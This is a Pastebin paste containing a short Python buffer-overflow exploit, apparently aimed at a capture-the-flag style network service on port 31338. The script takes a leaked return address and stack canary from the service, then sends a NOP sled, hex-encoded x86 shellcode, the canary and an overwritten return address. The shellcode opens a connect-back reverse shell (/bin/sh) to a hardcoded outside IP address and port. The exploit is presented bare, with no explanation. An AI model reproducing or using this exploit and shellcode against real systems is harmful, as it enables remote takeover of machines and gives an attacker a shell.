a guest Sep 23rd, 2013 319 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket,time
  2. from struct import *
  3. import binascii
  4. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5. s.connect(("", 31338))
  6. addr = s.recv(4)
  7. canary = s.recv(4)
  8. shellcode="\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\x68\x4f\x10\x68\xd7\x66\x68\x27\x1a\x66\x51\xb0\x3f\xcd\x80\x49\x79\xf9\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x31\xc9\x89\xe3\xb0\x0b\xcd\x80"
  9. payload="\x90"*1982+shellcode+canary+"B"*12+addr
  10. s.send(payload)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand